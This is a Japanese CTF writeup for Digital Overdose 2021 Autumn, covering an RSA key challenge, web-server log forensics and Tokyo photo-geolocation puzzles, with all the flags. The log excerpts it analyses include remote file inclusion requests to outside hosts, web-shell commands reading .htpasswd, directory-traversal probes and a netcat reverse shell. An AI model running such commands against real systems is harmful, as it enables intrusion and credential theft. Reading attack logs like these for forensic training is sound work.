Digital Overdose 2021 Autumn CTF Writeup
Contents
URL: https://digitaloverdose.ractf.co.uk/
2900点を獲得し、チームとしては68位、個人では38位でした。
なお、参加チームは719、参加プレーヤーは1118人だったようです。
チーム順位:
個人順位:
チャレンジのリストです。
普段はOSINT系のチャレンジはあんまりやらないんですが、日本の場所を当てるやつだったので頑張って全部解きました。
これは、Rainbow Tableを参照したり、John the ripper や Hashcat を使って全部解けました。
[Crypto]: Constant Primes (75 points)
Challenge
RSA is the hardest and most non-repetitive asymmetric key encryption.
This is your first time seeing one, right? Well be prepared, you will not find the flag.
I have given you this key (id_rsa file), it’s this random base64 string, no way you’ll know what to do with it.
The ciphertext is 0x2085f3d3573cd709fad84bed9fe8dde419fb7c8e96aa95ec4651a3bc07b5552f321e03404943744d931a4a51a817cf190880a5efbf94aa828c45da5b31dcdefc
Attachment:
- id_rsa (RSA PRIVATE KEY)
Solution
まず、ssh-keygen を実行してみたのですが、エラーになりました。。
$ ssh-keygen -f id_rsa -e -m pem | openssl asn1parse Load key "id_rsa": Invalid key length Error: offset out of range
以下のコードで、n
と e
は取れました。
|
|
実行結果:
$ ./read_key.py 6682669787535606635993287896641983501298577520322405381880667699429293248249880135523414618303313461640928583929883384586229757283439591741435143918813267 65537
n, e, c が揃えば、あとは RsaCtfTool.py で解けます。
反転したものが出てくるので、rev してフラグが得られます。
$ ~/Python3/RsaCtfTool/RsaCtfTool.py -n 6682669787535606635993287896641983501298577520322405381880667699429293248249880135523414618303313461640928583929883384586229757283439591741435143918813267 -e 65537 --uncipher 1703380908157528283172041137132390349496157838445725605013427432689517712852707895688494322667218403379009536599334770578485119117275052717689607980637948 [+] Clear text : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00}drah_taht_t0n_s1_ASR{OD' $ echo }drah_taht_t0n_s1_ASR{OD | rev DO{RSA_1s_n0t_that_hard}
Flag: DO{RSA_1s_n0t_that_hard}
[Log Analysis]: Part 1 - Ingress (100 points)
Challenge
Our website was hacked recently and the attackers completely ransomwared our server!
We’ve recovered it now, but we don’t want it to happen again.
Here are the logs from before the attack, can you find out what happened?
Attachment:
- attack.log
Solution
ログはスペース文字(white space)で区切られていて、フィールドは以下のようになっています。
$ head -n1 attack.log #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken
6番目のcs-uri-queryを見ていくと、Base64でエンコードされた文字列が出てきます。
$ cat attack.log | cut -d" " -f6 | sort -u - cmd%3Dcat+%2Fvar%2Fwww%2F.htpasswd cmd%3Dcat+RE97YmV0dGVyX3JlbW92ZV90aGF0X2JhY2tkb29yfQ== : (snip) :
これをデコードするとフラグが得られます。
$ echo RE97YmV0dGVyX3JlbW92ZV90aGF0X2JhY2tkb29yfQ== | base64 -d DO{better_remove_that_backdoor}
なお、このときのattackerのIPアドレスは 20.132.161.193 なので、それでフィルターすると、より詳しく攻撃内容がわかります。
$ grep RE97YmV0dGVyX3JlbW92ZV90aGF0X2JhY2tkb29yfQ attack.log | cut -d" " -f9 20.132.161.193 $ grep 20.132.161.193 attack.log | cut -d" " -f1,2,3,4,5,6 2021-09-06 20:43:00 135.233.142.30 GET runtime-es2015.43df09c2199138dc23a5.js - 2021-09-06 20:43:00 135.233.142.30 GET main-es2015.5dfab9e1774faff15645.js - 2021-09-06 20:43:00 135.233.142.30 GET faq locale=http://bglzqntj.io:19/bglzqntj.txt%00 2021-09-06 20:43:21 135.233.142.30 GET runtime-es2015.43df09c2199138dc23a5.js - 2021-09-06 20:43:21 135.233.142.30 GET assets/images/community/cal-bg.svg - 2021-09-06 20:43:21 135.233.142.30 GET assets/images/ctf/2021-01/offsec-logo.svg - 2021-09-06 20:43:21 135.233.142.30 GET faq locale=http://ronworwu.io:0/ronworwu.txt%00 2021-09-06 20:43:33 135.233.142.30 GET 6-es2015.2c367e3b65026d7698d3.js - 2021-09-06 20:43:33 135.233.142.30 GET main-es5.5dfab9e1774faff15645.js - 2021-09-06 20:43:33 135.233.142.30 GET runtime-es5.43df09c2199138dc23a5.js - 2021-09-06 20:43:33 135.233.142.30 GET faq locale=http://rnugvbtp.io:26/rnugvbtp.txt%00 2021-09-06 20:43:51 135.233.142.30 GET cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js - 2021-09-06 20:43:51 135.233.142.30 GET faq locale=http://xyztftsz.io:7/xyztftsz.txt%00 2021-09-06 20:43:59 135.233.142.30 GET assets/images/community/cal-bg.svg - 2021-09-06 20:43:59 135.233.142.30 GET main-es5.5dfab9e1774faff15645.js - 2021-09-06 20:43:59 135.233.142.30 GET 6-es2015.2c367e3b65026d7698d3.js - 2021-09-06 20:43:59 135.233.142.30 GET faq locale=http://ejlaadxk.io:4/ejlaadxk.txt%00 2021-09-06 20:44:19 135.233.142.30 GET ywesusnz cmd%3Dcd+.. 2021-09-06 20:44:45 135.233.142.30 GET ywesusnz cmd%3Dpwd 2021-09-06 20:45:04 135.233.142.30 GET ywesusnz cmd%3Dwhoami 2021-09-06 20:45:16 135.233.142.30 GET ywesusnz cmd%3Dhostname 2021-09-06 20:45:46 135.233.142.30 GET ywesusnz cmd%3Dnetstat+-peanut 2021-09-06 20:46:04 135.233.142.30 GET ywesusnz cmd%3Dcat+%2Fvar%2Fwww%2F.htpasswd 2021-09-06 20:46:12 135.233.142.30 GET ywesusnz cmd%3Dcat+RE97YmV0dGVyX3JlbW92ZV90aGF0X2JhY2tkb29yfQ== 2021-09-06 20:46:19 135.233.142.30 GET ywesusnz cmd%3Dnc+-e+%2Fbin%2Fsh+207.35.160.84+4213
Flag: DO{better_remove_that_backdoor}
[Log Analysis]: Part 2 - Investigation (150 points)
Challenge
Thanks for finding the RFI vulnerability in our FAQ. We have fixed it now, but we don’t understand how the attacker found it so quickly.
We suspect it might be an inside job, but maybe they got the source another way. Here are the logs for the month prior to the attack, can you see anything suspicious?
Please submit the attackers IP as the flag as follow, DO{x.x.x.x}
Attachment:
- more.log
Solution
これはイベント中に解けなかったやつなんですが、他の方のWriteupを見ると、DO{45.85.1.176} がフラグだったみたいですね。
これはおかしいです。おそらくフラグが間違って設定されていたと思われます。
45.85.1.176 はサーバのIPアドレスなので、attacker’s IP ではありません。
3番目に出てくる s-ip は、server IPで、9番目に出てくる c-ip が client IP です。実際、s-ipは、全てのログで 45.85.1.176 になっています(以下)。
$ head -n1 attack.log #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken $ cat more.log | cut -d" " -f3 | sort -u 45.85.1.176
Attackerのログは、実は結構明確で、directory traversalを使っていろいろファイルを取ろうと試みていて、ほとんどが404でエラーになってます。
$ grep "\.\.//" more.log | head | cut -d" " -f4,5,6,7,8,9,11,12 GET ../..//passwords.bckp - 443 - 200.13.84.124 - 404 GET ..//configuration.3 - 443 - 200.13.84.124 - 404 GET ../../..//db_config.1 - 443 - 200.13.84.124 - 404 GET ../..//login.txt - 443 - 200.13.84.124 - 404 GET ../..//auth.zip - 443 - 200.13.84.124 - 404 GET ..//db.saved - 443 - 200.13.84.124 - 404 GET ..//auth.saved - 443 - 200.13.84.124 - 404 GET ../../..//db_config.old - 443 - 200.13.84.124 - 404 GET ../../..//admin.older - 443 - 200.13.84.124 - 404 GET ..//login.bckp - 443 - 200.13.84.124 - 404
まぁ、これだけで attacker's IP は 200.13.84.124 でほぼ確定なんですが、更に見ていくと、ほとんどのGETリクエストが404で失敗している中で、ひとつだけ200 OKで成功しているログがあります。
以下で、backup.zipの取得に成功しています。チャレンジ文の、maybe they got the source
にマッチするものと考えられます。
$ grep 200.13.84.124 more.log | grep -v 404 2021-08-03 08:55:00 45.85.1.176 GET backup.zip - 443 - 200.13.84.124 Mozilla/5.0+(Windows+NT+5.1;+RE97czNjcjN0X19fYWdlbnR9;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/60.0.3112.90+Safari/537.36 - 200 0 0 25
ちなみに、このときのUser-Agentも怪しくて、RE97czNjcjN0X19fYWdlbnR9 はデコードすると別フラグが得られます。(Part 3 - Backup Policyのフラグだったようです。)
$ echo RE97czNjcjN0X19fYWdlbnR9 | base64 -d DO{s3cr3t___agent}
ということで、フラグは
Flag: DO{45.85.1.176}
ではなく、
Flag: DO{200.13.84.124}
だと思います。
[OSINT: Tour de Japan]: 1 - Dare enter the mirror world (50 points)
Challenge
Where was this photo taken from?
Solution
表参道にある東急プラザの入り口ですね。
Flag: DO{Tokyu_Plaza}
[OSINT: Tour de Japan]: 2 - The land of culture (75 points)
Challenge
Where was this photo taken from?
Solution
拡大してみると、秋葉原 COMIC ZIN があるのが見えるので、これをヒントにGoogle Mapを使いました。
対面から写真を撮っているので、Mapをベースに対面を確認すると、そこにはビックカメラがあります。
Flag: DO{Bic_Camera_Akiba}
[OSINT: Tour de Japan]: 3 - A childhood favourite (100 points)
Challenge
Where is this Pokémon?
Solution
ミジュマル
というポケモンなのはすぐわかったんですが、場所を見つけるのに苦労しました。
Google Lensでサーチしたら、池袋
の サンシャインシティ
にある ポケモンセンターメガ東京
という場所なのがわかりました。
トライ・アンド・エラーした結果、サンシャインシティ
がフラグでした。
Flag: DO{Sunshine_City}
[OSINT: Tour de Japan]: 4 - One of the classics (100 points)
Challenge
Where was this photo taken from?
Solution
ストリートファイターのリュウの置物があるお店のようです。
ryu hadouken otaku shop
でGoogleサーチしたら、渋谷のパルコにあるお店のようですね。
Flag: DO{Shibuya_Parco}
[OSINT: Tour de Japan]: 5.a - The Central Hub (75 points)
Challenge
What building is in this picture?
Solution
これは調べるまでもなく、東京駅です。
Flag: DO{Tokyo_Station}
[OSINT: Tour de Japan]: 5.b - This way, Emperor Naruhito (75 points)
Challenge
Where was this photo taken from?
(写真は 5.a と同じです。)
Solution
これは相当悩みました。。
DO{Tokyo_Marunouchi_Minamiguchi}
DO{Marunouchi_Minamiguchi}
DO{Marunouchi_Minamiguchi}
DO{Tokyo_Station_Marunouchi_Building}
DO{Tokyo_Station_Marunouchi}
DO{Tokyo_Station_Marunouchi_Minamiguchi}
DO{Tokyo_Station_Marunouchi_Building_Minamiguchi}
DO{Marunouchi_Ekisha_Minamiguchi}
DO{Marunouchi_Building_Minamiguchi}
DO{Marunouchi_Building}
DO{Tokyo_Station_Hotel}
DO{Tokyo_Station_City}
DO{Tokyo_Station}
DO{Tokyo_Chiyoda_City}
DO{Tokyo_Chiyoda}
DO{Tokyo_Station_Marunouchi_Station_Building}
DO{Marunouchi_Station_Building}
DO{Tokyo_Marunouchi_Station_Building}
DO{Station_Building}
DO{Tokyo_Station_Building}
DO{Marunouchi_Ekisha}
DO{Tokyo_Marunouchi_Ekisha}
DO{Tokyo_Station_Marunouchi_Ekisha}
DO{Tokyo_Marunouchi_Ekisha_Minamiguchi}
DO{Tokyo_Station_Marunouchi_Ekisha_Minamiguchi}
DO{Tokyo_Station_Marunouchi_station_building}
DO{Marunouchi}
DO{Tokyo_Marunouchi}
DO{Marunouchi_Ekimae_Hiroba}
DO{Ekimae_Hiroba}
DO{Tokyo_Marunouchi_Ekimae_Hiroba}
DO{Tokyo_Eki_Marunouchi_Ekimae_Hiroba}
DO{Miyuki_Dori}
DO{Miyuki_Dori_Street}
DO{Tokyo_Station_Ekimae_Hiroba}
DO{Marunouchi_Daini_Hiroba}
DO{Tokyo_Station_Marunouchi_Ekimae_Hiroba}
DO{Tokyo_Marunouchi_Ekisha}
DO{Central_Stop}
DO{Tokyo_Marunouchi_Central_Stop}
DO{Tokyo_Station_Central_Stop}
DO{Marunouchi_Guchi}
DO{Marunouchiguchi}
DO{Miyuki_Street}
DO{Marunouchi_Plaza}
DO{Gyoko-Dori_Ave}
たぶん、こんなに間違ったのは自分だけかもしれません。。
今日の教訓:トライ・アンド・エラーばかりではなく、ちゃんと写真を解析して解くことが大事!!
写真をよくみると、撮影位置と駅の間にガードレールがあり、道が通っています。
また、撮影位置のところには、タイルがきれいに四角く色分けされてます。
Google Street Viewでクリックして移動していったら、該当箇所が見つかりました。
Flag: DO{Gyoko-Dori}
[OSINT: Tour de Japan]: 6 - Along the waterways we go (75 points)
Challenge
Where was this photo taken from?
Solution
「こんなのわかるかよ!」と思いつつ、Google Lensでサーチしたら一発で 小名木川
が出てきました。
Google Lens、凄い!
Flag: DO{Onagi_River}
[OSINT: Tour de Japan]: 7 - A box of mystery (100 points)
Challenge
Where was this photo taken from?
Solution
Google Lensでサーチしたら、以下のPDF(国土技術政策総合研究所 研究資料)が見つかりました。
http://www.nilim.go.jp/lab/bcg/siryou/tnn/tnn0572pdf/ks057208.pdf
逆に、これ以外の情報は全く見つからなかったです。
千鳥ヶ淵にある換気所のようです。
この資料にはマップも載っていて、この換気塔の対面にあるのは イギリス大使館
なので、それが答えです。
Flag: DO{British_Embassy}
[OSINT: Tour de Japan]: 8 - A staple drink of Japan (50 points)
Challenge
What is this drink called?
Solution
これも結構悩んだんですが、テキトーに メロンソーダ
を入れたら当たりました。
これって、日本の飲み物なのかな。確かに、外国には メロンソーダ
っていうのは無いかも。
Flag: DO{Melon_Soda}
[OSINT: Tour de Japan]: 9 - A concrete jungle’s forest heart (50 points)
Challenge
Where was this photo taken from?
Solution
Google Lensで以下のアメブロが見つかりました。
https://ameblo.jp/gentle-spwj/entry-12423563923.html
目黒の八芳園
です。確か、前に行ったことあります。
Flag: DO{Happo-en}
[OSINT: Tour de Japan]: 10 - An answer in plain sight (250 points)
Challenge
Where sector was this photo taken from?
Solution
250点問題だけあって、なかなか手強かったです。
荒川西日三
という文字が見えるので、荒川区 西日暮里 3丁目 なのはすぐわかります。でも、それは答えじゃありません。
右上にはホテルの看板のようなものがあり、荒川 西日暮里 3丁目 おんぼろホテル
でサーチしたら 谷中 富士見ホテル
であることもわかりました。
ただ、その下の ←30M
の文字を見逃していたので、富士見ホテルのところで写真を撮ったのと勘違いしてフラグが全然通りませんでした。
つまり写真を撮った場所は 富士見ホテルから30M離れた場所
でした。
Google Mapで富士見ホテルの半径30Mのエリアを探し、Street Viewで確認すると、ありました!
谷中 大島酒店
です。でも、これはまだ答えではありません。
わたしは知らなかったんですが、この場所、夕焼けだんだん
という有名な場所らしいですね。
なにかヒントがあるかと思って 夕焼けだん団
の動画(https://www.youtube.com/watch?v=kPK75vVniNg)を見てたら、「谷中」の読み方は「タニナカ」じゃなくて「ヤナカ」であることがわかりました。
結構、早い段階で「谷中」に辿り着いていたのに、漢字が読めてなかっただけとは。。。
Flag: DO{Yanaka}
[OSINT: Tour de Japan]: 11 - An island of mascots (150 points)
Challenge
Where in Japan does this mascot represent?
Solution
あまみ市
って書いてあるし。
Flag: DO{Amami}
[OSINT: Tour de Japan]: 12 - A story of the ages (75 points)
Challenge
What mythological creature is this?
Solution
ぶんぶく茶釜ですね。
DO{Raccoon}
DO{Bunbuku_Chagama}
DO{Fox}
DO{Raccoon_Dog}
普通に タヌキ
が正解でした。
Flag: DO{Tanuki}
[OSINT: Tour de Japan]: 13 - The river of Sakura (75 points)
Challenge
Where was this photo taken from?
Solution
これは、調べるまでもなく、目黒川です。
Flag: DO{Meguro_River}
Author CaptureAmerica @ CTF フラxxグゲット
LastMod 2021-10-13